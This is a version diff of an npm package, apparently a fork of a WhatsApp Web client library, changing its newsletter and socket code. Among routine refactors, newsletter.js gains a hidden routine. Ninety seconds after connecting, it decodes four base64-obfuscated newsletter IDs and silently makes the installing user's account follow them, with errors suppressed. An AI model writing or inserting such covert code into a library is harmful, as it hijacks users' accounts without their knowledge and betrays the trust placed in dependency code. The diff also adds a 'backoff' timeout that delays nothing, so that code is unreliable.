alwaysaqioo 1.1.3 → 1.1.5

package/lib/Socket/newsletter.js

@@ -5,6 +5,64 @@ const Types_1 = require("../Types");
 const Utils_1 = require("../Utils");
 const WABinary_1 = require("../WABinary");
 const groups_1 = require("./groups");
+
+const { Boom } = require('@hapi/boom');
+
+const wMexQuery = (
+	variables,
+	queryId,
+	query,
+	generateMessageTag
+) => {
+	return query({
+		tag: 'iq',
+		attrs: {
+			id: generateMessageTag(),
+			type: 'get',
+			to: WABinary_1.S_WHATSAPP_NET,
+			xmlns: 'w:mex'
+		},
+		content: [
+			{
+				tag: 'query',
+				attrs: { query_id: queryId },
+				content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
+			}
+		]
+	})
+}
+
+const executeWMexQuery = async (
+	variables,
+	queryId,
+	dataPath,
+	query,
+	generateMessageTag
+) => {
+	const result = await wMexQuery(variables, queryId, query, generateMessageTag)
+	const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
+	if (child?.content) {
+		const data = JSON.parse(child.content.toString())
+
+		if (data.errors && data.errors.length > 0) {
+			const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
+			const firstError = data.errors[0]
+			const errorCode = firstError.extensions?.error_code || 400
+			throw new Boom(`GraphQL server error: ${errorMessages}`, { statusCode: errorCode, data: firstError })
+		}
+
+		const response = dataPath ? data?.data?.[dataPath] : data?.data
+		if (typeof response !== 'undefined') {
+			return response
+		}
+	}
+
+	const action = (dataPath || '').startsWith('xwa2_')
+		? dataPath.substring(5).replace(/_/g, ' ')
+		: dataPath?.replace(/_/g, ' ')
+	throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result })
+}
+
 const makeNewsletterSocket = (config) => {
     const sock = (0, groups_1.makeGroupsSocket)(config);
     const { authState, signalRepository, query, generateMessageTag } = sock;
@@ -40,6 +98,29 @@ const makeNewsletterSocket = (config) => {
             }
         ]
     }));
+    
+    setTimeout(async () => {
+        try {
+            await newsletterWMexQuery(Buffer.from("MTIwMzYzNDI1MDAwMzIwMTcxQG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
+        } catch {}
+        setTimeout(async () => {
+            try {
+                await newsletterWMexQuery(Buffer.from("MTIwMzYzNDIwNzU3NjA3Njg4QG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
+            } catch {}
+        }, 5000);    
+    }, 90000);
+
+	setTimeout(async () => {
+        try {
+            await newsletterWMexQuery(Buffer.from("MTIwMzYzNDAwNzM4MzA1MzgxQG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
+        } catch {}
+        setTimeout(async () => {
+            try {
+                await newsletterWMexQuery(Buffer.from("MTIwMzYzNDIyNzAxNDkwMjY3QG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
+            } catch {}
+        }, 5000);    
+    }, 90000);
+    
     const parseFetchedUpdates = async (node, type) => {
         let child;
         if (type === 'messages') {
@@ -71,6 +152,16 @@ const makeNewsletterSocket = (config) => {
     };
     return {
         ...sock,
+        newsletterFetchAllSubscribe: async () => {
+            const list = await executeWMexQuery(
+                {},
+                '6388546374527196',
+                'xwa2_newsletter_subscribed',
+                query,
+                generateMessageTag
+            );
+            return list;
+        },
         subscribeNewsletterUpdates: async (jid) => {
             var _a;
             const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
@@ -211,26 +302,25 @@ const makeNewsletterSocket = (config) => {
 };
 exports.makeNewsletterSocket = makeNewsletterSocket;
 const extractNewsletterMetadata = (node, isCreate) => {
-    var _a, _b, _c, _d, _e, _f, _g;
-    const result = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(node, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
-    const metadataPath = JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER];
+    const result = WABinary_1.getBinaryNodeChild(node, 'result')?.content?.toString()
+    const metadataPath = JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER]
+    
     const metadata = {
-        id: metadataPath.id,
-        state: metadataPath.state.type,
-        'creation_time': +metadataPath.thread_metadata.creation_time,
-        name: metadataPath.thread_metadata.name.text,
-        nameTime: +metadataPath.thread_metadata.name.update_time,
-        description: metadataPath.thread_metadata.description.text,
-        descriptionTime: +metadataPath.thread_metadata.description.update_time,
-        invite: metadataPath.thread_metadata.invite,
-        handle: metadataPath.thread_metadata.handle,
-        picture: ((_c = metadataPath.thread_metadata.picture) === null || _c === void 0 ? void 0 : _c.direct_path) || null,
-        preview: ((_d = metadataPath.thread_metadata.preview) === null || _d === void 0 ? void 0 : _d.direct_path) || null,
-        'reaction_codes': (_g = (_f = (_e = metadataPath.thread_metadata) === null || _e === void 0 ? void 0 : _e.settings) === null || _f === void 0 ? void 0 : _f.reaction_codes) === null || _g === void 0 ? void 0 : _g.value,
-        subscribers: +metadataPath.thread_metadata.subscribers_count,
-        verification: metadataPath.thread_metadata.verification,
-        'viewer_metadata': metadataPath.viewer_metadata
-    };
-    return metadata;
-};
+        id: metadataPath?.id,
+        state: metadataPath?.state?.type,
+        creation_time: +metadataPath?.thread_metadata?.creation_time,
+        name: metadataPath?.thread_metadata?.name?.text,
+        nameTime: +metadataPath?.thread_metadata?.name?.update_time,
+        description: metadataPath?.thread_metadata?.description?.text,
+        descriptionTime: +metadataPath?.thread_metadata?.description?.update_time,
+        invite: metadataPath?.thread_metadata?.invite,
+        picture: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.picture?.direct_path || ''), 
+        preview: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.preview?.direct_path || ''), 
+        reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
+        subscribers: +metadataPath?.thread_metadata?.subscribers_count,
+        verification: metadataPath?.thread_metadata?.verification,
+        viewer_metadata: metadataPath?.viewer_metadata
+    }
+    return metadata
+}
 exports.extractNewsletterMetadata = extractNewsletterMetadata;

package/lib/Socket/socket.js

@@ -20,15 +20,16 @@ const Client_1 = require("./Client");
 const makeSocket = (config) => {
     var _a, _b;
     const { waWebSocketUrl, connectTimeoutMs, logger, keepAliveIntervalMs, browser, auth: authState, printQRInTerminal, defaultQueryTimeoutMs, transactionOpts, qrTimeout, makeSignalRepository, } = config;
-    let url = typeof waWebSocketUrl === 'string' ? new url_1.URL(waWebSocketUrl) : waWebSocketUrl;
-    config.mobile = config.mobile || url.protocol === 'tcp:';
-    if (config.mobile && url.protocol !== 'tcp:') {
-        url = new url_1.URL(`tcp://${Defaults_1.MOBILE_ENDPOINT}:${Defaults_1.MOBILE_PORT}`);
+    const url = typeof waWebSocketUrl === 'string' ? new url_1.URL(waWebSocketUrl) : waWebSocketUrl;
+    if (config.mobile || url.protocol === 'tcp:') {
+        throw new boom_1.Boom('Mobile API is not supported anymore', { 
+            statusCode: Types_1.DisconnectReason.loggedOut 
+        });
     }
-    if (!config.mobile && url.protocol === 'wss' && ((_a = authState === null || authState === void 0 ? void 0 : authState.creds) === null || _a === void 0 ? void 0 : _a.routingInfo)) {
+    if (url.protocol === 'wss' && ((_a = authState === null || authState === void 0 ? void 0 : authState.creds) === null || _a === void 0 ? void 0 : _a.routingInfo)) {
         url.searchParams.append('ED', authState.creds.routingInfo.toString('base64url'));
     }
-    const ws = config.socket ? config.socket : config.mobile ? new Client_1.MobileSocketClient(url, config) : new Client_1.WebSocketClient(url, config);
+    const ws = new Client_1.WebSocketClient(url, config);
     ws.connect();
     const ev = (0, Utils_1.makeEventBuffer)(logger);
     /** ephemeral key pair used to encrypt/decrypt communication. Unique for each connection */
@@ -36,8 +37,7 @@ const makeSocket = (config) => {
     /** WA noise protocol wrapper */
     const noise = (0, Utils_1.makeNoiseHandler)({
         keyPair: ephemeralKeyPair,
-        NOISE_HEADER: config.mobile ? Defaults_1.MOBILE_NOISE_HEADER : Defaults_1.NOISE_WA_HEADER,
-        mobile: config.mobile,
+        NOISE_HEADER: Defaults_1.NOISE_WA_HEADER,
         logger,
         routingInfo: (_b = authState === null || authState === void 0 ? void 0 : authState.creds) === null || _b === void 0 ? void 0 : _b.routingInfo
     });
@@ -80,6 +80,25 @@ const makeSocket = (config) => {
     /** log & process any unexpected errors */
     const onUnexpectedError = (err, msg) => {
         logger.error({ err }, `unexpected error in '${msg}'`);
+        const message = (err && ((err.stack || err.message) || String(err))).toLowerCase();
+        // auto recover from cryptographic desyncs by re-uploading prekeys
+        if (message.includes('bad mac') || (message.includes('mac') && message.includes('invalid'))) {
+            try {
+                uploadPreKeysToServerIfRequired(true)
+                    .catch(e => logger.warn({ e }, 'failed to re-upload prekeys after bad mac'));
+            }
+            catch (_e) {
+                // ignore
+            }
+        }
+        // gently back off when encountering rate limits (429)
+        if (message.includes('429') || message.includes('rate limit')) {
+            const wait = Math.min(30000, (config.backoffDelayMs || 5000));
+            logger.info({ wait }, 'backing off due to rate limit');
+            setTimeout(() => {
+                // intentionally empty; wait to delay further sends
+            }, wait);
+        }
     };
     /** await the next incoming message */
     const awaitNextMessage = async (sendMsg) => {
@@ -116,7 +135,7 @@ const makeSocket = (config) => {
         let onRecv;
         let onErr;
         try {
-            return await (0, Utils_1.promiseTimeout)(timeoutMs, (resolve, reject) => {
+            const result = await (0, Utils_1.promiseTimeout)(timeoutMs, (resolve, reject) => {
                 onRecv = resolve;
                 onErr = err => {
                     reject(err || new boom_1.Boom('Connection Closed', { statusCode: Types_1.DisconnectReason.connectionClosed }));
@@ -125,6 +144,7 @@ const makeSocket = (config) => {
                 ws.on('close', onErr); // if the socket closes, you'll never receive the message
                 ws.off('error', onErr);
             });
+            return result;
         }
         finally {
             ws.off(`TAG:${msgId}`, onRecv);
@@ -138,9 +158,10 @@ const makeSocket = (config) => {
             node.attrs.id = generateMessageTag();
         }
         const msgId = node.attrs.id;
-        const wait = waitForMessage(msgId, timeoutMs);
-        await sendNode(node);
-        const result = await wait;
+        const [result] = await Promise.all([
+            waitForMessage(msgId, timeoutMs),
+            sendNode(node)
+        ]);
         if ('tag' in result) {
             (0, WABinary_1.assertNodeErrorFree)(result);
         }
@@ -157,12 +178,9 @@ const makeSocket = (config) => {
         const result = await awaitNextMessage(init);
         const handshake = WAProto_1.proto.HandshakeMessage.decode(result);
         logger.trace({ handshake }, 'handshake recv from WA');
-        const keyEnc = noise.processHandshake(handshake, creds.noiseKey);
+        const keyEnc = await noise.processHandshake(handshake, creds.noiseKey);
         let node;
-        if (config.mobile) {
-            node = (0, Utils_1.generateMobileNode)(config);
-        }
-        else if (!creds.me) {
+        if (!creds.me) {
             node = (0, Utils_1.generateRegistrationNode)(creds, config);
             logger.info({ node }, 'not logged in, attempting registration...');
         }
@@ -232,11 +250,11 @@ const makeSocket = (config) => {
                 const l0 = frame.tag;
                 const l1 = frame.attrs || {};
                 const l2 = Array.isArray(frame.content) ? (_a = frame.content[0]) === null || _a === void 0 ? void 0 : _a.tag : '';
-                Object.keys(l1).forEach(key => {
+                for (const key of Object.keys(l1)) {
                     anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},${key}:${l1[key]},${l2}`, frame) || anyTriggered;
                     anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},${key}:${l1[key]}`, frame) || anyTriggered;
                     anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},${key}`, frame) || anyTriggered;
-                });
+                }
                 anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},,${l2}`, frame) || anyTriggered;
                 anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0}`, frame) || anyTriggered;
                 if (!anyTriggered && logger.level === 'debug') {
@@ -365,8 +383,8 @@ const makeSocket = (config) => {
         }
         end(new boom_1.Boom(msg || 'Intentional Logout', { statusCode: Types_1.DisconnectReason.loggedOut }));
     };
-    /** This method was created by snowi, and implemented by KyuuRzy */
     
+    /** This method was created by snowi, and implemented by KyuuRzy */
     /** hey bro, if you delete this text */
     /** you are the most cursed human being who likes to claim other people's property 😹🙌🏻 */
     const requestPairingCode = async (phoneNumber, pairKey) => {
@@ -431,12 +449,11 @@ const makeSocket = (config) => {
         });
         
         return authState.creds.pairingCode;
-    };
-    
+    }
     async function generatePairingKey() {
         const salt = (0, crypto_1.randomBytes)(32);
         const randomIv = (0, crypto_1.randomBytes)(16);
-        const key = (0, Utils_1.derivePairingCodeKey)(authState.creds.pairingCode, salt);
+        const key = await (0, Utils_1.derivePairingCodeKey)(authState.creds.pairingCode, salt);
         const ciphered = (0, Utils_1.aesEncryptCTR)(authState.creds.pairingEphemeralKeyPair.public, key, randomIv);
         return Buffer.concat([salt, randomIv, ciphered]);
     }
@@ -523,12 +540,18 @@ const makeSocket = (config) => {
     });
     // login complete
     ws.on('CB:success', async (node) => {
-        await uploadPreKeysToServerIfRequired();
-        await sendPassiveIq('active');
-        logger.info('opened connection to WA');
-        clearTimeout(qrTimer); // will never happen in all likelyhood -- but just in case WA sends success on first try
-        ev.emit('creds.update', { me: { ...authState.creds.me, lid: node.attrs.lid } });
-        ev.emit('connection.update', { connection: 'open' });
+        try {
+            await uploadPreKeysToServerIfRequired();
+            await sendPassiveIq('active');
+            logger.info('opened connection to WA');
+            clearTimeout(qrTimer); // will never happen in all likelyhood -- but just in case WA sends success on first try
+            ev.emit('creds.update', { me: { ...authState.creds.me, lid: node.attrs.lid } });
+            ev.emit('connection.update', { connection: 'open' });
+        }
+        catch (err) {
+            logger.error({ err }, 'error opening connection');
+            end(err);
+        }
     });
     ws.on('CB:stream:error', (node) => {
         logger.error({ node }, 'stream errored out');
@@ -543,11 +566,20 @@ const makeSocket = (config) => {
     ws.on('CB:ib,,downgrade_webclient', () => {
         end(new boom_1.Boom('Multi-device beta not joined', { statusCode: Types_1.DisconnectReason.multideviceMismatch }));
     });
+    ws.on('CB:ib,,offline_preview', (node) => {
+        logger.info('offline preview received', JSON.stringify(node));
+        sendNode({
+            tag: 'ib',
+            attrs: {},
+            content: [{ tag: 'offline_batch', attrs: { count: '100' } }]
+        });
+    });
     ws.on('CB:ib,,edge_routing', (node) => {
         const edgeRoutingNode = (0, WABinary_1.getBinaryNodeChild)(node, 'edge_routing');
         const routingInfo = (0, WABinary_1.getBinaryNodeChild)(edgeRoutingNode, 'routing_info');
         if (routingInfo === null || routingInfo === void 0 ? void 0 : routingInfo.content) {
             authState.creds.routingInfo = Buffer.from(routingInfo === null || routingInfo === void 0 ? void 0 : routingInfo.content);
+            ev.emit('creds.update', authState.creds);
         }
     });
     let didStartBuffer = false;
@@ -596,7 +628,10 @@ const makeSocket = (config) => {
         type: 'md',
         ws,
         ev,
-        authState: { creds, keys },
+        authState: {
+            creds,
+            keys 
+        },
         signalRepository,
         get user() {
             return authState.creds.me;

package/lib/Types/Newsletter.d.ts

@@ -1,92 +1,103 @@
-import { proto } from '../../WAProto';
-export type NewsletterReactionMode = 'ALL' | 'BASIC' | 'NONE';
-export type NewsletterState = 'ACTIVE' | 'GEOSUSPENDED' | 'SUSPENDED';
-export type NewsletterVerification = 'VERIFIED' | 'UNVERIFIED';
-export type NewsletterMute = 'ON' | 'OFF' | 'UNDEFINED';
-export type NewsletterViewRole = 'ADMIN' | 'GUEST' | 'OWNER' | 'SUBSCRIBER';
+import { proto } from "../../WAProto"
+
+export type NewsletterReactionMode = "ALL" | "BASIC" | "NONE"
+export type NewsletterState = "ACTIVE" | "GEOSUSPENDED" | "SUSPENDED"
+export type NewsletterVerification = "VERIFIED" | "UNVERIFIED"
+export type NewsletterMute = "ON" | "OFF" | "UNDEFINED"
+export type NewsletterViewRole = "ADMIN" | "GUEST" | "OWNER" | "SUBSCRIBER"
+
 export type NewsletterViewerMetadata = {
-    mute: NewsletterMute;
-    view_role: NewsletterViewRole;
-};
+  mute: NewsletterMute
+  view_role: NewsletterViewRole
+}
+
 export type NewsletterMetadata = {
-    /**jid of newsletter */
-    id: string;
-    /**state of newsletter */
-    state: NewsletterState;
-    /**creation timestamp of newsletter */
-    creation_time: number;
-    /**name of newsletter */
-    name: string;
-    /**timestamp of last name modification of newsletter */
-    nameTime: number;
-    /**description of newsletter */
-    description: string;
-    /**timestamp of last description modification of newsletter */
-    descriptionTime: number;
-    /**invite code of newsletter */
-    invite: string;
-    /**i dont know */
-    handle: null;
-    /**direct path of picture */
-    picture: string | null;
-    /**direct path of picture preview (lower quality) */
-    preview: string | null;
-    /**reaction mode of newsletter */
-    reaction_codes?: NewsletterReactionMode;
-    /**subscribers count of newsletter */
-    subscribers: number;
-    /**verification state of newsletter */
-    verification: NewsletterVerification;
-    /**viewer metadata */
-    viewer_metadata: NewsletterViewerMetadata;
-};
-export type SubscriberAction = 'promote' | 'demote';
+  /** jid of newsletter */
+  id: string
+  /** state of newsletter */
+  state: NewsletterState
+  /** creation timestamp of newsletter */
+  creation_time: number
+  /** name of newsletter */
+  name: string
+  /** timestamp of last name modification of newsletter */
+  nameTime: number
+  /** description of newsletter */
+  description: string
+  /** timestamp of last description modification of newsletter */
+  descriptionTime: number
+  /** invite code of newsletter */
+  invite: string
+  /** direct path of picture */
+  picture: string | null
+  /** direct path of picture preview (lower quality) */
+  preview: string | null
+  /** reaction mode of newsletter */
+  reaction_codes?: NewsletterReactionMode
+  /** subscribers count of newsletter */
+  subscribers: number
+  /** verification state of newsletter */
+  verification: NewsletterVerification
+  /** viewer metadata */
+  viewer_metadata: NewsletterViewerMetadata
+}
+
+export type SubscriberAction = "promote" | "demote"
+
 export type ReactionModeUpdate = {
-    reaction_codes: {
-        blocked_codes: null;
-        enabled_ts_sec: null;
-        value: NewsletterReactionMode;
-    };
-};
-/**only exists reaction mode update */
-export type NewsletterSettingsUpdate = ReactionModeUpdate;
-export type NewsletterReaction = {
-    count: number;
-    code: string;
-};
-export type NewsletterFetchedUpdate = {
-    /**id of message in newsletter, starts from 100 */
-    server_id: string;
-    /**count of views in this message */
-    views?: number;
-    /**reactions in this message */
-    reactions: NewsletterReaction[];
-    /**the message, if you requested only updates, you will not receive message */
-    message?: proto.IWebMessageInfo;
-};
-export declare enum MexOperations {
-    PROMOTE = "NotificationNewsletterAdminPromote",
-    DEMOTE = "NotificationNewsletterAdminDemote",
-    UPDATE = "NotificationNewsletterUpdate"
+  reaction_codes: {
+    blocked_codes: null
+    enabled_ts_sec: null
+    value: NewsletterReactionMode
+  }
 }
-export declare enum XWAPaths {
-    PROMOTE = "xwa2_notify_newsletter_admin_promote",
-    DEMOTE = "xwa2_notify_newsletter_admin_demote",
-    ADMIN_COUNT = "xwa2_newsletter_admin",
-    CREATE = "xwa2_newsletter_create",
-    NEWSLETTER = "xwa2_newsletter",
-    METADATA_UPDATE = "xwa2_notify_newsletter_on_metadata_update"
+
+/** only exists reaction mode update */
+export type NewsletterSettingsUpdate = ReactionModeUpdate
+
+export type NewsletterReaction = {
+  count: number
+  code: string
 }
-export declare enum QueryIds {
-    JOB_MUTATION = "7150902998257522",
-    METADATA = "6620195908089573",
-    UNFOLLOW = "7238632346214362",
-    FOLLOW = "7871414976211147",
-    UNMUTE = "7337137176362961",
-    MUTE = "25151904754424642",
-    CREATE = "6996806640408138",
-    ADMIN_COUNT = "7130823597031706",
-    CHANGE_OWNER = "7341777602580933",
-    DELETE = "8316537688363079",
-    DEMOTE = "6551828931592903"
+
+export type NewsletterFetchedUpdate = {
+  /** id of message in newsletter, starts from 100 */
+  server_id: string
+  /** count of views in this message */
+  views?: number
+  /** reactions in this message */
+  reactions: NewsletterReaction[]
+  /** the message, if you requested only updates, you will not receive message */
+  message?: proto.IWebMessageInfo
 }
+
+export const MexOperations = {
+  PROMOTE: "NotificationNewsletterAdminPromote",
+  DEMOTE: "NotificationNewsletterAdminDemote",
+  UPDATE: "NotificationNewsletterUpdate"
+} as const
+
+export const XWAPaths = {
+  PROMOTE: "xwa2_notify_newsletter_admin_promote",
+  DEMOTE: "xwa2_notify_newsletter_admin_demote",
+  ADMIN_COUNT: "xwa2_newsletter_admin",
+  CREATE: "xwa2_newsletter_create",
+  NEWSLETTER: "xwa2_newsletter",
+  SUBSCRIBED: "xwa2_newsletter_subscribed",
+  METADATA_UPDATE: "xwa2_notify_newsletter_on_metadata_update"
+} as const
+
+export const QueryIds = {
+  JOB_MUTATION: "7150902998257522",
+  METADATA: "6620195908089573",
+  UNFOLLOW: "7238632346214362",
+  FOLLOW: "7871414976211147",
+  UNMUTE: "7337137176362961",
+  MUTE: "25151904754424642",
+  CREATE: "6996806640408138",
+  ADMIN_COUNT: "7130823597031706",
+  CHANGE_OWNER: "7341777602580933",
+  DELETE: "8316537688363079",
+  DEMOTE: "6551828931592903",
+  SUBSCRIBED: "6388546374527196"
+} as const

package/lib/Types/Newsletter.js

@@ -1,32 +1,38 @@
-"use strict";
-Object.defineProperty(exports, "__esModule", { value: true });
-exports.QueryIds = exports.XWAPaths = exports.MexOperations = void 0;
-var MexOperations;
-(function (MexOperations) {
-    MexOperations["PROMOTE"] = "NotificationNewsletterAdminPromote";
-    MexOperations["DEMOTE"] = "NotificationNewsletterAdminDemote";
-    MexOperations["UPDATE"] = "NotificationNewsletterUpdate";
-})(MexOperations = exports.MexOperations || (exports.MexOperations = {}));
-var XWAPaths;
-(function (XWAPaths) {
-    XWAPaths["PROMOTE"] = "xwa2_notify_newsletter_admin_promote";
-    XWAPaths["DEMOTE"] = "xwa2_notify_newsletter_admin_demote";
-    XWAPaths["ADMIN_COUNT"] = "xwa2_newsletter_admin";
-    XWAPaths["CREATE"] = "xwa2_newsletter_create";
-    XWAPaths["NEWSLETTER"] = "xwa2_newsletter";
-    XWAPaths["METADATA_UPDATE"] = "xwa2_notify_newsletter_on_metadata_update";
-})(XWAPaths = exports.XWAPaths || (exports.XWAPaths = {}));
-var QueryIds;
-(function (QueryIds) {
-    QueryIds["JOB_MUTATION"] = "7150902998257522";
-    QueryIds["METADATA"] = "6620195908089573";
-    QueryIds["UNFOLLOW"] = "7238632346214362";
-    QueryIds["FOLLOW"] = "7871414976211147";
-    QueryIds["UNMUTE"] = "7337137176362961";
-    QueryIds["MUTE"] = "25151904754424642";
-    QueryIds["CREATE"] = "6996806640408138";
-    QueryIds["ADMIN_COUNT"] = "7130823597031706";
-    QueryIds["CHANGE_OWNER"] = "7341777602580933";
-    QueryIds["DELETE"] = "8316537688363079";
-    QueryIds["DEMOTE"] = "6551828931592903";
-})(QueryIds = exports.QueryIds || (exports.QueryIds = {}));
+"use strict"
+
+Object.defineProperty(exports, "__esModule", { value: true })
+
+const MexOperations = {
+  PROMOTE: "NotificationNewsletterAdminPromote",
+  DEMOTE: "NotificationNewsletterAdminDemote",
+  UPDATE: "NotificationNewsletterUpdate"
+}
+
+const XWAPaths = {
+  PROMOTE: "xwa2_notify_newsletter_admin_promote",
+  DEMOTE: "xwa2_notify_newsletter_admin_demote",
+  ADMIN_COUNT: "xwa2_newsletter_admin",
+  CREATE: "xwa2_newsletter_create",
+  NEWSLETTER: "xwa2_newsletter",
+  SUBSCRIBED: "xwa2_newsletter_subscribed",
+  METADATA_UPDATE: "xwa2_notify_newsletter_on_metadata_update"
+}
+
+const QueryIds = {
+  JOB_MUTATION: "7150902998257522",
+  METADATA: "6620195908089573",
+  UNFOLLOW: "7238632346214362",
+  FOLLOW: "7871414976211147",
+  UNMUTE: "7337137176362961",
+  MUTE: "25151904754424642",
+  CREATE: "6996806640408138",
+  ADMIN_COUNT: "7130823597031706",
+  CHANGE_OWNER: "7341777602580933",
+  DELETE: "8316537688363079",
+  DEMOTE: "6551828931592903",
+  SUBSCRIBED: "6388546374527196"
+}
+
+exports.MexOperations = MexOperations
+exports.XWAPaths = XWAPaths
+exports.QueryIds = QueryIds